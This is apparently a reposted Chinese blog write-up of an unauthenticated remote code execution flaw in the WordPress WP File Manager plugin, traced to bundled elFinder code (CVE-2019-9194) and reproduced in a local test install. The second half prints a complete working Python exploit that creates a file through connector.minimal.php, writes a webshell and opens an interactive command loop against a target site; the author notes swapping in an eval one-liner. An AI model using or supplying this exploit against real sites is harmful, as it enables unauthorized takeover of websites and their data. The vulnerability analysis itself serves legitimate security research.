不乱于心,不困于情。
不畏将来,不念过往。如此,安好。

WordPress文件管理器插件0day漏洞解析

昨天好多安全平台发布了WordPress插件WP File Manager的0day漏洞预警,然后我怀着好奇的心情解析了一波,花了些时间总算是解开了这个漏洞的神秘面纱。
从预警中可以看到漏洞在/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php,然后里面的关键代码说实话我一开始没看懂,大概意思就是两个文件包含,然后下面run elFinder。
为了弄懂这个我下载了WP File Manager插件6.0版本,下载地址:
https://wordpress.org/plugins/wp-file-manager/advanced/
然后搭建了一个WordPress5.3.2,用phpstrom调试审计这个插件。
先看了两个文件包含,其中一个./vendor/autoload.php文件是不存在的,另一个autoload.php也没什么特别的东西。
然后往下看,在然后我被41行这个给误导了
因为断点调试到这一行,就会跳转到一个叫elFinderConnector.class.php的文件里,然后在这个文件160行发现exec()函数,我以为关键点就在这里,然后一直研究这个函数,然后并没有什么实际发现。。。
然后 我开始怀疑人生,可能是我太菜了吧,挖不到漏洞,别人都说了这里有0day我都挖不到,我也太菜了吧。。。
当我快要放弃的时候,我又看了一眼漏洞预警,其中几个字打开了我的思路,“这段代码来自elFinder项目”,这个意思是不是说WP File Manager插件使用了elFinder项目的代码,然后elFinder有漏洞。
 
于是,我又去百度elFinder漏洞
emmmmmmm。。。。。竟然真有漏洞,还是个CVE,CVE-2019-9194
漏洞原理啥的没细看,这里贴一下https://xz.aliyun.com/t/4444
然后我就找找有没有poc可以用,从exp-db上搜索elFinder,发现一个远程代码执行的链接,打开看看。
发现里面的存在漏洞的文件connector.php跟预警的文件connector.minimal.php挺像的,因为connector.minimal.php是示例文件所以是示例名,实际上正式项目要改成connector.php。应该是这个意思
然后就下载这个poc来验证我搭建的环境。
因为前面说了那个WP File Manager插件的作者直接搬运了elFinder的代码,所以连示例文件的名字都没有改,所以要稍微修改一下poc,将connector.php改成connector.minimal.php,然后将一句话改为eval,同时为方便调试将print的注释去掉
下面是漏洞验证环节:
可以看到在\wp-content\plugins\wp-file-manager\lib\files目录下成功生成了文件,内容为一句话。与漏洞预警中说明的目录是一样的。
以上操作都是在未登录的情况下,也就是说是未授权RCE。这里贴一下poc
 #[+] Author: TUNISIAN CYBER  #[+] Title: elFinder 2 Remote Command Execution (Via File Creation) Vulnerability  #[+] Date: 06-05-2015 #[+] Vendor: https://github.com/Studio-42/elFinder  #[+] Type: WebAPP #[+] Tested on: KaliLinux (Debian)  #[+] Twitter: @TCYB3R #[+] Time Line:  #   03-05-2015:Vulnerability Discovered  #   03-05-2015:Contacted Vendor  #   04-05-2015:No response  #   05-05-2015:No response  #   06-05-2015:No response  #   06-05-2015:Vulnerability published   import cookielib, urllib  import urllib2 import sys    print"\x20\x20+-------------------------------------------------+"  print"\x20\x20| elFinder Remote Command Execution Vulnerability |"  print"\x20\x20|                 TUNISIAN CYBER                 |"  print"\x20\x20+-------------------------------------------------+"      host = raw_input('\x20\x20Vulnerable Site:')  evilfile = raw_input('\x20\x20EvilFileName:')  path=raw_input('\x20\x20elFinder s Path:')      tcyber = cookielib.CookieJar()  opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(tcyber))    create = opener.open('http://'+host+'/'+path+'/php/connector.minimal.php?cmd=mkfile&name='+evilfile+'&target=l1_Lw')  print create.read()  payload = urllib.urlencode({                             'cmd' : 'put',                             'target' : 'l1_'+evilfile.encode('base64','strict'),                             'content' : ''                             })    write = opener.open('http://'+host+'/'+path+'/php/connector.minimal.php', payload)  #print write.read() print '\n' while True:     try:        cmd = raw_input('[She3LL]:~# ')           execute = opener.open('http://'+host+'/'+path+'/admin/js/plugins/elfinder/files/'+evilfile+'?cmd='+urllib.quote(cmd))         reverse = execute.read()        print reverse;         if cmd.strip() == 'exit':             break     except Exception:        break    sys.exit()

转自:黑白之道

赞(0)
未经允许不得转载:seo优化_前端开发_渗透技术 » WordPress文件管理器插件0day漏洞解析